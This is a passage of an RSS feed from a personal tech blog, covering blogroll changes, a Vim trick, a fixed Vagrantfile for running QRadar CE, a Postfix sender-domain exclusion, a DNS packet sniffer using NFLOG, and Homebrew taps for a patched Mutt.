  6214.    <pubDate>Sun, 06 Jan 2019 12:55:00 +0100</pubDate>
  6215.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  6216.    <description><![CDATA[<p>As some links on my blogroll start to turn into 404 errors it's time to do some cleanup and also to bring in some fresh blood :-)</p>
  6217. <p>Removed:</p>
  6218. <ul>
  6219. <li><a href="https://web.archive.org/web/20200221101248/http://www.mezzoblue.com/" title="mezzoblue">mezzoblue</a></li>
  6220. <li><a href="http://daveshea.com/blog/" title="Dave Shea">Dave Shea</a></li>
  6221. <li><a href="http://www.pepilog.de/" title="Pepilog">Pepilog</a></li>
  6222. <li><a href="https://www.elfengleich.de/" title="Elfengleich">e.loge</a></li>
  6223. <li><a href="https://web.archive.org/web/20180313151513/http://www.ende-der-vernunft.org/" title="EDV">EDV</a></li>
  6224. <li><a href="https://web.archive.org/web/20170221215450/http://sid.rstack.org/blog/" title="sid.rstack.org/blog">sid.rstack.org/blog</a></li>
  6225. <li><a href="https://web.archive.org/web/20161223004544/https://couchblog.de/codecandies/" title="Code Candies">Code Candies</a></li>
  6226. <li><a href="https://thepacketgeek.com/" title="thePacketGeek">thePacketGeek</a></li>
  6227. <li><a href="http://lovfoood.blogspot.com/" title="lovfoood">lovfoood</a></li>
  6228. </ul>
  6229. <p>Added:</p>
  6230. <ul>
  6231. <li><a href="https://charity.wtf/" title="charity.wtf">charity.wtf</a></li>
  6232. </ul>
  6233. ]]></description>
  6234.    <content:encoded><![CDATA[<p>As some links on my blogroll start to turn into 404 errors it's time to do some cleanup and also to bring in some fresh blood :-)</p>
  6235. <p>Removed:</p>
  6236. <ul>
  6237. <li><a href="https://web.archive.org/web/20200221101248/http://www.mezzoblue.com/" title="mezzoblue">mezzoblue</a></li>
  6238. <li><a href="http://daveshea.com/blog/" title="Dave Shea">Dave Shea</a></li>
  6239. <li><a href="http://www.pepilog.de/" title="Pepilog">Pepilog</a></li>
  6240. <li><a href="https://www.elfengleich.de/" title="Elfengleich">e.loge</a></li>
  6241. <li><a href="https://web.archive.org/web/20180313151513/http://www.ende-der-vernunft.org/" title="EDV">EDV</a></li>
  6242. <li><a href="https://web.archive.org/web/20170221215450/http://sid.rstack.org/blog/" title="sid.rstack.org/blog">sid.rstack.org/blog</a></li>
  6243. <li><a href="https://web.archive.org/web/20161223004544/https://couchblog.de/codecandies/" title="Code Candies">Code Candies</a></li>
  6244. <li><a href="https://thepacketgeek.com/" title="thePacketGeek">thePacketGeek</a></li>
  6245. <li><a href="http://lovfoood.blogspot.com/" title="lovfoood">lovfoood</a></li>
  6246. </ul>
  6247. <p>Added:</p>
  6248. <ul>
  6249. <li><a href="https://charity.wtf/" title="charity.wtf">charity.wtf</a></li>
  6250. </ul>
  6251. ]]></content:encoded>
  6252.  </item>
  6253.  
  6254.  <item>
  6255.    <title>New Year - New Vim Trick</title>
  6256.    <link>https://blog.x-way.org/Coding/2019/01/01/New-Year-New-Vim-Trick.html</link>
  6257.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324265</guid>
  6258.    <dc:creator>Andreas Jaggi</dc:creator>
  6259.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6260.    <pubDate>Tue, 01 Jan 2019 22:24:00 +0100</pubDate>
  6261.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  6262.    <description><![CDATA[<p>Happy 2019! I have learnt a new <a href="https://www.vim.org/" title="Vim - the ubiquitous text editor">Vim</a> trick:<br>
  6263. When searching for some pattern with <kbd>/</kbd> (eg. <kbd>/mystring</kbd>), often the next step is to perform a replacement command.
  6264. Now instead of re-typing the whole string, you can directly enter the substitution command with an emtpy search-pattern (<kbd>:%s//newstring/</kbd>), Vim then automatically re-uses the previous search pattern.
  6265. </p>
  6266. <p>(<a href="https://dev.to/jkreeftmeijer/whats-your-favorite-vim-trick-5eag" title="What's your favorite Vim trick?">via</a>)</p>
  6267. ]]></description>
  6268.    <content:encoded><![CDATA[<p>Happy 2019! I have learnt a new <a href="https://www.vim.org/" title="Vim - the ubiquitous text editor">Vim</a> trick:<br>
  6269. When searching for some pattern with <kbd>/</kbd> (eg. <kbd>/mystring</kbd>), often the next step is to perform a replacement command.
  6270. Now instead of re-typing the whole string, you can directly enter the substitution command with an emtpy search-pattern (<kbd>:%s//newstring/</kbd>), Vim then automatically re-uses the previous search pattern.
  6271. </p>
  6272. <p>(<a href="https://dev.to/jkreeftmeijer/whats-your-favorite-vim-trick-5eag" title="What's your favorite Vim trick?">via</a>)</p>
  6273. ]]></content:encoded>
  6274.  </item>
  6275.  
  6276.  <item>
  6277.    <title>The Swiss Army Knife of Hashmaps</title>
  6278.    <link>https://blog.x-way.org/Coding/2018/12/08/The-Swiss-Army-Knife-of-Hashmaps.html</link>
  6279.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324264</guid>
  6280.    <dc:creator>Andreas Jaggi</dc:creator>
  6281.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6282.    <pubDate>Sat, 08 Dec 2018 06:41:00 +0100</pubDate>
  6283.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  6284.    <description><![CDATA[<p><a href="https://blog.waffles.space/2018/12/07/deep-dive-into-hashbrown/" title="The Swiss Army Knife of Hashmaps">The Swiss Army Knife of Hashmaps</a> &mdash; a very nice article from <a href="https://blog.waffles.space/" title="Arrow of Code">Ravi Shankar</a> explaining how <a href="https://www.youtube.com/watch?v=ncHmEUmJZf4" title="Matt Kulukundis - Designing a Fast, Efficient, Cache-friendly Hash Table, Step by Step">Google's SwissTable</a> concept was implemented for Rust.</p>
  6285. ]]></description>
  6286.    <content:encoded><![CDATA[<p><a href="https://blog.waffles.space/2018/12/07/deep-dive-into-hashbrown/" title="The Swiss Army Knife of Hashmaps">The Swiss Army Knife of Hashmaps</a> &mdash; a very nice article from <a href="https://blog.waffles.space/" title="Arrow of Code">Ravi Shankar</a> explaining how <a href="https://www.youtube.com/watch?v=ncHmEUmJZf4" title="Matt Kulukundis - Designing a Fast, Efficient, Cache-friendly Hash Table, Step by Step">Google's SwissTable</a> concept was implemented for Rust.</p>
  6287. ]]></content:encoded>
  6288.  </item>
  6289.  
  6290.  <item>
  6291.    <title>Run QRadar CE on Mac OS X with Vagrant</title>
  6292.    <link>https://blog.x-way.org/Networking/2018/08/05/Run-QRadar-CE-on-Mac-OS-X-with-Vagrant.html</link>
  6293.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324263</guid>
  6294.    <dc:creator>Andreas Jaggi</dc:creator>
  6295.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6296.    <pubDate>Sun, 05 Aug 2018 13:18:00 +0200</pubDate>
  6297.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  6298.    <description><![CDATA[<p>The Vagrant file provided by IBM for running <a href="https://developer.ibm.com/qradar/ce/" title="QRadar Community Edition">QRadar Community Edition</a> on Mac OS X currently does not work properly. It fails with the following error:</p>
  6299. <pre>Failure: repodata/repomd.xml from centos-gluster38: [Errno 256] No more mirrors to try.
  6300. http://mirror.centos.org/centos/7/storage/x86_64/gluster-3.8/repodata/repomd.xml: [Errno 14] HTTP Error 404</pre>
  6301. <p>The problem is that gluster3.8 was moved out of this CentOS repository and now the download fails.
  6302. But the gluster3.8 RPMs are also provided with the QRadar CE installation ISO file.</p>
  6303. <p>Based on the workaround <a href="https://developer.ibm.com/answers/questions/447072/qradar-fails-to-install-centos-7-gluster-38/">described here</a>, I've extended the IBM provided Vagrantfile so that the RPMs are taken from the ISO file instead of the CentOS repository.
  6304. With the <a href="https://blog.x-way.org/stuff/Vagrantfile" title="QRadar CE Vagrantfile">modified Vagrantfile</a> the automatic provisioning script no longer fails.</p>
  6305.  
  6306. <p>The instructions for running QRadar CE with Vagrant now look like this:</p>
  6307. <ol><li>Download the zipfile with the original Vagrantfile and the accompanying helper files from the IBM website: <a href="https://developer.ibm.com/qradar/ce/" title="https://developer.ibm.com/qradar/ce/">https://developer.ibm.com/qradar/ce/</a></li>
  6308. <li>Create a folder and extract the zipfile:<br>
  6309. <pre>mkdir community_edition
  6310. unzip QRadarCE_Vagrantfile.20171003084145.zip -d community_edition/</pre></li>
  6311. <li>Download the modified Vagrantfile and overwrite the original one:<br>
  6312. <pre>curl -o community_edition/Vagrantfile https://blog.x-way.org/stuff/Vagrantfile</pre></li>
  6313. <li>Make sure you have the requried Vagrant plugins installed:<br>
  6314. <pre>vagrant plugin install vagrant-disksize
  6315. vagrant plugin install vagrant-reload</pre></li>
  6316. <li>Make sure you have the QRadar CE ISO file (downloaded from the IBM website) in the same folder as the Vagrantfile:<br>
  6317. <pre>cp QRadarCE.iso community_edition/</pre></li>
  6318. <li>Create the auto_install file to automatically install QRadar:<br>
  6319. <pre>touch community_edition/auto_install</pre></li>
  6320. <li>Accept the EULA by adding the corresponding setup parameter in the Vagrantfile:<br>
  6321. Edit the Vagrantfile and add the --accept-eula argument to /media/cdrom/setup --no-screen to automatically accept the EULA</li>
  6322. <li>Change into the folder and start the QRadar installation (takes about 1 hour):<br>
  6323. <pre>cd community_edition
  6324. vagrant up</pre></li></ol>
  6325. ]]></description>
  6326.    <content:encoded><![CDATA[<p>The Vagrant file provided by IBM for running <a href="https://developer.ibm.com/qradar/ce/" title="QRadar Community Edition">QRadar Community Edition</a> on Mac OS X currently does not work properly. It fails with the following error:</p>
  6327. <pre>Failure: repodata/repomd.xml from centos-gluster38: [Errno 256] No more mirrors to try.
  6328. http://mirror.centos.org/centos/7/storage/x86_64/gluster-3.8/repodata/repomd.xml: [Errno 14] HTTP Error 404</pre>
  6329. <p>The problem is that gluster3.8 was moved out of this CentOS repository and now the download fails.
  6330. But the gluster3.8 RPMs are also provided with the QRadar CE installation ISO file.</p>
  6331. <p>Based on the workaround <a href="https://developer.ibm.com/answers/questions/447072/qradar-fails-to-install-centos-7-gluster-38/">described here</a>, I've extended the IBM provided Vagrantfile so that the RPMs are taken from the ISO file instead of the CentOS repository.
  6332. With the <a href="https://blog.x-way.org/stuff/Vagrantfile" title="QRadar CE Vagrantfile">modified Vagrantfile</a> the automatic provisioning script no longer fails.</p>
  6333.  
  6334. <p>The instructions for running QRadar CE with Vagrant now look like this:</p>
  6335. <ol><li>Download the zipfile with the original Vagrantfile and the accompanying helper files from the IBM website: <a href="https://developer.ibm.com/qradar/ce/" title="https://developer.ibm.com/qradar/ce/">https://developer.ibm.com/qradar/ce/</a></li>
  6336. <li>Create a folder and extract the zipfile:<br>
  6337. <pre>mkdir community_edition
  6338. unzip QRadarCE_Vagrantfile.20171003084145.zip -d community_edition/</pre></li>
  6339. <li>Download the modified Vagrantfile and overwrite the original one:<br>
  6340. <pre>curl -o community_edition/Vagrantfile https://blog.x-way.org/stuff/Vagrantfile</pre></li>
  6341. <li>Make sure you have the requried Vagrant plugins installed:<br>
  6342. <pre>vagrant plugin install vagrant-disksize
  6343. vagrant plugin install vagrant-reload</pre></li>
  6344. <li>Make sure you have the QRadar CE ISO file (downloaded from the IBM website) in the same folder as the Vagrantfile:<br>
  6345. <pre>cp QRadarCE.iso community_edition/</pre></li>
  6346. <li>Create the auto_install file to automatically install QRadar:<br>
  6347. <pre>touch community_edition/auto_install</pre></li>
  6348. <li>Accept the EULA by adding the corresponding setup parameter in the Vagrantfile:<br>
  6349. Edit the Vagrantfile and add the --accept-eula argument to /media/cdrom/setup --no-screen to automatically accept the EULA</li>
  6350. <li>Change into the folder and start the QRadar installation (takes about 1 hour):<br>
  6351. <pre>cd community_edition
  6352. vagrant up</pre></li></ol>
  6353. ]]></content:encoded>
  6354.  </item>
  6355.  
  6356.  <item>
  6357.    <title>Raid The Arcade</title>
  6358.    <link>https://blog.x-way.org/Music/2018/07/19/Raid-The-Arcade.html</link>
  6359.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324262</guid>
  6360.    <dc:creator>Andreas Jaggi</dc:creator>
  6361.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6362.    <pubDate>Thu, 19 Jul 2018 15:31:00 +0200</pubDate>
  6363.    <category domain="https://blog.x-way.org/Music/">Music</category>
  6364.    <description><![CDATA[<p><img src="https://blog.x-way.org/images/raid_the_arcade.jpg" alt="Raid The Arcade Mix" width="450" height="535"></p>
  6365. <p><a href="https://www.amazon.com/dp/0804137277/" title="Ernest Cline - Armada">Ernest Cline - Armada</a></p>
  6366. ]]></description>
  6367.    <content:encoded><![CDATA[<p><img src="https://blog.x-way.org/images/raid_the_arcade.jpg" alt="Raid The Arcade Mix" width="450" height="535"></p>
  6368. <p><a href="https://www.amazon.com/dp/0804137277/" title="Ernest Cline - Armada">Ernest Cline - Armada</a></p>
  6369. ]]></content:encoded>
  6370.  </item>
  6371.  
  6372.  <item>
  6373.    <title>Benjojo</title>
  6374.    <link>https://blog.x-way.org/Misc/2018/04/14/Benjojo.html</link>
  6375.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324261</guid>
  6376.    <dc:creator>Andreas Jaggi</dc:creator>
  6377.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6378.    <pubDate>Sat, 14 Apr 2018 07:16:00 +0200</pubDate>
  6379.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  6380.    <description><![CDATA[<p>Added another interesting blog to the Links: <a href="https://blog.benjojo.co.uk/" title="Benjojo's Blog">benjojo.co.uk</a></p>
  6381.  
  6382. <p>Ben builds and writes about a lot of funny small projects:</p>
  6383. <ul>
  6384. <li><a href="https://blog.benjojo.co.uk/post/dns-filesystem-true-cloud-storage-dnsfs" title="DNSFS. Store your files in others DNS resolver caches">Storing files in DNS caches</a></li>
  6385. <li><a href="https://blog.benjojo.co.uk/post/encoding-data-into-dubstep-drops" title="Encoding data in dubstep drops">Encoding data in dubstep music</a></li>
  6386. <li><a href="https://blog.benjojo.co.uk/post/tor-onions-to-v6-with-iptables-proxy" title="Giving every Tor Hidden Service a IPv6 address">Building an IPv6-to-Tor gateway</a></li>
  6387. <li><a href="https://blog.benjojo.co.uk/post/ssh-port-fluxing-with-totp" title="TOTP SSH port fluxing">Switching SSH port based on a time-based token</a></li>
  6388. </ul>
  6389. ]]></description>
  6390.    <content:encoded><![CDATA[<p>Added another interesting blog to the Links: <a href="https://blog.benjojo.co.uk/" title="Benjojo's Blog">benjojo.co.uk</a></p>
  6391.  
  6392. <p>Ben builds and writes about a lot of funny small projects:</p>
  6393. <ul>
  6394. <li><a href="https://blog.benjojo.co.uk/post/dns-filesystem-true-cloud-storage-dnsfs" title="DNSFS. Store your files in others DNS resolver caches">Storing files in DNS caches</a></li>
  6395. <li><a href="https://blog.benjojo.co.uk/post/encoding-data-into-dubstep-drops" title="Encoding data in dubstep drops">Encoding data in dubstep music</a></li>
  6396. <li><a href="https://blog.benjojo.co.uk/post/tor-onions-to-v6-with-iptables-proxy" title="Giving every Tor Hidden Service a IPv6 address">Building an IPv6-to-Tor gateway</a></li>
  6397. <li><a href="https://blog.benjojo.co.uk/post/ssh-port-fluxing-with-totp" title="TOTP SSH port fluxing">Switching SSH port based on a time-based token</a></li>
  6398. </ul>
  6399. ]]></content:encoded>
  6400.  </item>
  6401.  
  6402.  <item>
  6403.    <title>Exclude domain from unknown sender check</title>
  6404.    <link>https://blog.x-way.org/Linux/2018/04/04/Exclude-domain-from-unknown-sender-check.html</link>
  6405.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324260</guid>
  6406.    <dc:creator>Andreas Jaggi</dc:creator>
  6407.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6408.    <pubDate>Wed, 04 Apr 2018 23:03:00 +0200</pubDate>
  6409.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  6410.    <description><![CDATA[<p><a href="http://www.postfix.org/" title="The Postfix Home Page">Postfix</a> provides the <a href="http://www.postfix.org/postconf.5.html#reject_unknown_sender_domain" title="Postfix Configuration Parameters: reject_unknown_sender_domain">reject_unknown_sender_domain</a> check which allows to only accept incoming e-mails sent from domains which actually exist.</p>
  6411. <p>Unfortunately there exists this one external service which uses a non-existing subdomain to send their notification e-mails. Thus all their notifications get rejected.</p>
  6412. <p>The following configuration allows to keep the reject_unknown_sender_domain check in place, but to exclude a specific domain from this check.</p>
  6413.  
  6414. <pre>
  6415. # snippet in main.cf
  6416. smtpd_sender_restrictions = check_sender_access pcre:/etc/postfix/sender_domain_verification
  6417. </pre>
  6418.  
  6419. <pre>
  6420. # exclude regex in sender_domain_verification
  6421. !/@domain\.to\.exclude\.com$/ reject_unknown_sender_domain
  6422. </pre>
  6423.  
  6424. <p>Your distribution might ship Postfix support for pcre matches in a dedicated package which needs to be installed separately (in the case of Debian you need to install the postfix-pcre package).</p>
  6425. ]]></description>
  6426.    <content:encoded><![CDATA[<p><a href="http://www.postfix.org/" title="The Postfix Home Page">Postfix</a> provides the <a href="http://www.postfix.org/postconf.5.html#reject_unknown_sender_domain" title="Postfix Configuration Parameters: reject_unknown_sender_domain">reject_unknown_sender_domain</a> check which allows to only accept incoming e-mails sent from domains which actually exist.</p>
  6427. <p>Unfortunately there exists this one external service which uses a non-existing subdomain to send their notification e-mails. Thus all their notifications get rejected.</p>
  6428. <p>The following configuration allows to keep the reject_unknown_sender_domain check in place, but to exclude a specific domain from this check.</p>
  6429.  
  6430. <pre>
  6431. # snippet in main.cf
  6432. smtpd_sender_restrictions = check_sender_access pcre:/etc/postfix/sender_domain_verification
  6433. </pre>
  6434.  
  6435. <pre>
  6436. # exclude regex in sender_domain_verification
  6437. !/@domain\.to\.exclude\.com$/ reject_unknown_sender_domain
  6438. </pre>
  6439.  
  6440. <p>Your distribution might ship Postfix support for pcre matches in a dedicated package which needs to be installed separately (in the case of Debian you need to install the postfix-pcre package).</p>
  6441. ]]></content:encoded>
  6442.  </item>
  6443.  
  6444.  <item>
  6445.    <title>Blogroll update</title>
  6446.    <link>https://blog.x-way.org/Misc/2018/04/01/Blogroll-update.html</link>
  6447.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324259</guid>
  6448.    <dc:creator>Andreas Jaggi</dc:creator>
  6449.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6450.    <pubDate>Sun, 01 Apr 2018 21:52:00 +0200</pubDate>
  6451.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  6452.    <description><![CDATA[<p>Added the following blogs to the Links:</p>
  6453. <ul>
  6454. <li><a href="https://henrikwarne.com/" title="Henrik Warne&#039;s blog | Thoughts on programming&#8230;">Thoughts on programming</a></li>
  6455. <li><a href="https://eklitzke.org/" title="Evan Klitzke">eklitzke.org</a></li>
  6456. <li><a href="https://rachelbythebay.com/w/" title="rachelbythebay : Writing">rachelbythebay.com</a></li>
  6457. </ul>
  6458. <p>Seems like the blog/RSS thing is getting traction again: <a href="https://www.wired.com/story/rss-readers-feedly-inoreader-old-reader/" title="After years of letting algorithms make up our minds for us, the time is right to go back to basics.">It's Time for an RSS Revival</a> (<a href="https://news.ycombinator.com/item?id=16721690" title="It&#x27;s time to head back to RSS? | Hacker News">via</a>)</p>
  6459. ]]></description>
  6460.    <content:encoded><![CDATA[<p>Added the following blogs to the Links:</p>
  6461. <ul>
  6462. <li><a href="https://henrikwarne.com/" title="Henrik Warne&#039;s blog | Thoughts on programming&#8230;">Thoughts on programming</a></li>
  6463. <li><a href="https://eklitzke.org/" title="Evan Klitzke">eklitzke.org</a></li>
  6464. <li><a href="https://rachelbythebay.com/w/" title="rachelbythebay : Writing">rachelbythebay.com</a></li>
  6465. </ul>
  6466. <p>Seems like the blog/RSS thing is getting traction again: <a href="https://www.wired.com/story/rss-readers-feedly-inoreader-old-reader/" title="After years of letting algorithms make up our minds for us, the time is right to go back to basics.">It's Time for an RSS Revival</a> (<a href="https://news.ycombinator.com/item?id=16721690" title="It&#x27;s time to head back to RSS? | Hacker News">via</a>)</p>
  6467. ]]></content:encoded>
  6468.  </item>
  6469.  
  6470.  <item>
  6471.    <title>nflog_sniff extended with C++ implementation</title>
  6472.    <link>https://blog.x-way.org/Networking/2015/12/05/nflog_sniff-extended-with-C---implementation.html</link>
  6473.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324258</guid>
  6474.    <dc:creator>Andreas Jaggi</dc:creator>
  6475.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6476.    <pubDate>Sat, 05 Dec 2015 11:58:00 +0100</pubDate>
  6477.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  6478.    <description><![CDATA[<p>With nflog_sniffer.cpp I've just added a C++ implementation to the <a href="https://github.com/x-way/nflog_sniff" title="x-way/nflog_sniff">nflog_sniff</a> repository.</p>
  6479. <p>It uses the lean (and apparently also very fast) <a href="https://libtins.github.io/" title="C++ packet sniffing and crafting library - libtins">libtins</a> library.</p>
  6480. ]]></description>
  6481.    <content:encoded><![CDATA[<p>With nflog_sniffer.cpp I've just added a C++ implementation to the <a href="https://github.com/x-way/nflog_sniff" title="x-way/nflog_sniff">nflog_sniff</a> repository.</p>
  6482. <p>It uses the lean (and apparently also very fast) <a href="https://libtins.github.io/" title="C++ packet sniffing and crafting library - libtins">libtins</a> library.</p>
  6483. ]]></content:encoded>
  6484.  </item>
  6485.  
  6486.  <item>
  6487.    <title>DNS packet sniffing with NFLOG and Perl/Python</title>
  6488.    <link>https://blog.x-way.org/Networking/2015/12/04/DNS-packet-sniffing-with-NFLOG-and-Perl-Python.html</link>
  6489.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324257</guid>
  6490.    <dc:creator>Andreas Jaggi</dc:creator>
  6491.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6492.    <pubDate>Fri, 04 Dec 2015 20:10:00 +0100</pubDate>
  6493.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  6494.    <description><![CDATA[<p>The <a href="https://github.com/chifflier/nflog-bindings" title="chifflier/nflog-bindings">nflog-bindings</a> from Pierre Chifflier make it trivially easy to write a passive packet sniffer which can be controlled via iptables and listens to traffic on multiple interfaces at the same time.</p>
  6495. <p>As a little exercise I have written a simple DNS packet sniffer, once in Perl and once in Python:</p>
  6496. <script src="https://gist.github.com/x-way/caf03da77fe2cc83b6bd.js"></script>
  6497. <script src="https://gist.github.com/x-way/54955b8bb4bb28a77d06.js"></script>
  6498. <p>To use the sniffer, first create an iptables rule like this: iptables -I INPUT -p udp --sport 53 -j NFLOG --nflog-group 123</p>
  6499. <p>Then start one of the sniffer scripts and observe the extracted DNS queries :-)</p>
  6500. <p>For a more convenient download I've also put the scripts in a proper Github repository: <a href="https://github.com/x-way/nflog_sniff" title="x-way/nflog_sniff">nflog_sniff</a></p>
  6501. ]]></description>
  6502.    <content:encoded><![CDATA[<p>The <a href="https://github.com/chifflier/nflog-bindings" title="chifflier/nflog-bindings">nflog-bindings</a> from Pierre Chifflier make it trivially easy to write a passive packet sniffer which can be controlled via iptables and listens to traffic on multiple interfaces at the same time.</p>
  6503. <p>As a little exercise I have written a simple DNS packet sniffer, once in Perl and once in Python:</p>
  6504. <script src="https://gist.github.com/x-way/caf03da77fe2cc83b6bd.js"></script>
  6505. <script src="https://gist.github.com/x-way/54955b8bb4bb28a77d06.js"></script>
  6506. <p>To use the sniffer, first create an iptables rule like this: iptables -I INPUT -p udp --sport 53 -j NFLOG --nflog-group 123</p>
  6507. <p>Then start one of the sniffer scripts and observe the extracted DNS queries :-)</p>
  6508. <p>For a more convenient download I've also put the scripts in a proper Github repository: <a href="https://github.com/x-way/nflog_sniff" title="x-way/nflog_sniff">nflog_sniff</a></p>
  6509. ]]></content:encoded>
  6510.  </item>
  6511.  
  6512.  <item>
  6513.    <title>Mutt Homebrew Formula extended with indexcolor patch</title>
  6514.    <link>https://blog.x-way.org/Linux/2015/11/03/Mutt-Homebrew-Formula-extended-with-indexcolor-patch.html</link>
  6515.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324256</guid>
  6516.    <dc:creator>Andreas Jaggi</dc:creator>
  6517.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6518.    <pubDate>Tue, 03 Nov 2015 20:18:00 +0100</pubDate>
  6519.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  6520.    <description><![CDATA[<p>I've just added the <a href="https://greek0.net/blog/2006/08/01/mutt-indexcolor-patch/" title="A mutt patch for a more colorful index">indexcolor</a> patch to my <a href="https://github.com/x-way/homebrew-mutt" title="x-way/homebrew-mutt">Mutt 1.5.24 Homebrew Formula</a>.</p>
  6521. <p>To use this Formula just type <kbd>brew tap x-way/mutt</kbd> followed by <kbd>brew install x-way/mutt/mutt --with-trash-patch --with-indexcolor-patch</kbd> to install Mutt 1.5.24 with trash_folder and indexcolor support.</p>
  6522. ]]></description>
  6523.    <content:encoded><![CDATA[<p>I've just added the <a href="https://greek0.net/blog/2006/08/01/mutt-indexcolor-patch/" title="A mutt patch for a more colorful index">indexcolor</a> patch to my <a href="https://github.com/x-way/homebrew-mutt" title="x-way/homebrew-mutt">Mutt 1.5.24 Homebrew Formula</a>.</p>
  6524. <p>To use this Formula just type <kbd>brew tap x-way/mutt</kbd> followed by <kbd>brew install x-way/mutt/mutt --with-trash-patch --with-indexcolor-patch</kbd> to install Mutt 1.5.24 with trash_folder and indexcolor support.</p>
  6525. ]]></content:encoded>
  6526.  </item>
  6527.  
  6528.  <item>
  6529.    <title>Homebrew Tap for Mutt 1.5.24 with trash_folder patch</title>
  6530.    <link>https://blog.x-way.org/Linux/2015/09/23/Homebrew-Tap-for-Mutt-1-5-24-with-trash_folder-patch.html</link>
  6531.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324255</guid>
  6532.    <dc:creator>Andreas Jaggi</dc:creator>
  6533.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6534.    <pubDate>Wed, 23 Sep 2015 22:31:00 +0200</pubDate>
  6535.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  6536.    <description><![CDATA[<p>At work I'm a quite avid user of <a href="http://www.mutt.org/" title="The Mutt E-Mail Client">Mutt</a>. Unfortunately the upgrade to the recently released version 1.5.24 did not go over as smooth as expected.</p>
  6537. <p>I'm using <a href="http://brew.sh/" title="Homebrew - The missing package manager for OS X">Homebrew</a> to install Mutt on Mac OS X, and even though there is an updated version in the official Homebrew repository, it no longer comes with the trash_folder patch (it fails to apply against the 1.5.24 source tree and was thus removed).</p>
  6538. <p>In order to build the new Mutt version with the trash_folder support, I updated the patch for version 1.5.24: <a href="https://blog.x-way.org/stuff/mutt-1.5.24-trash_folder.diff" title="mutt-1.5.24-trash_folder.diff">mutt-1.5.24-trash_folder.diff</a>.</p>
  6539. <p>The official Homebrew repository prefers unpatched packages and encourages the creation of independent "Taps" (package repositories) for patched packages. Thus I also created my own Homebrew Tap which contains the 1.5.24 version of Mutt with the updated trash_folder patch: <a href="https://github.com/x-way/homebrew-mutt" title="x-way/homebrew-mutt">x-way/homebrew-mutt</a>.</p>
  6540. <p>To use this Tap just type <kbd>brew tap x-way/mutt</kbd> followed by <kbd>brew install x-way/mutt/mutt --with-trash-patch</kbd> to install Mutt 1.5.24 with trash_folder support. Cheers!</p>
  6541. ]]></description>
  6542.    <content:encoded><![CDATA[<p>At work I'm a quite avid user of <a href="http://www.mutt.org/" title="The Mutt E-Mail Client">Mutt</a>. Unfortunately the upgrade to the recently released version 1.5.24 did not go over as smooth as expected.</p>
  6543. <p>I'm using <a href="http://brew.sh/" title="Homebrew - The missing package manager for OS X">Homebrew</a> to install Mutt on Mac OS X, and even though there is an updated version in the official Homebrew repository, it no longer comes with the trash_folder patch (it fails to apply against the 1.5.24 source tree and was thus removed).</p>
  6544. <p>In order to build the new Mutt version with the trash_folder support, I updated the patch for version 1.5.24: <a href="https://blog.x-way.org/stuff/mutt-1.5.24-trash_folder.diff" title="mutt-1.5.24-trash_folder.diff">mutt-1.5.24-trash_folder.diff</a>.</p>
  6545. <p>The official Homebrew repository prefers unpatched packages and encourages the creation of independent "Taps" (package repositories) for patched packages. Thus I also created my own Homebrew Tap which contains the 1.5.24 version of Mutt with the updated trash_folder patch: <a href="https://github.com/x-way/homebrew-mutt" title="x-way/homebrew-mutt">x-way/homebrew-mutt</a>.</p>
  6546. <p>To use this Tap just type <kbd>brew tap x-way/mutt</kbd> followed by <kbd>brew install x-way/mutt/mutt --with-trash-patch</kbd> to install Mutt 1.5.24 with trash_folder support. Cheers!</p>
  6547. ]]></content:encoded>
  6548.  </item>
  6549.  
  6550.  <item>
  6551.    <title>Puppet Infrastructure 2015</title>
  6552.    <link>https://blog.x-way.org/Linux/2015/08/15/Puppet-Infrastructure-2015.html</link>
  6553.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324254</guid>
  6554.    <dc:creator>Andreas Jaggi</dc:creator>
  6555.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  6556.    <pubDate>Sat, 15 Aug 2015 06:47:00 +0200</pubDate>
  6557.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  6558.    <description><![CDATA[<p><a href="http://terrarum.net/blog/puppet-infrastructure-2015.html" title="Puppet Infrastructure 2015">Puppet Infrastructure 2015</a></p>
  6559. ]]></description>
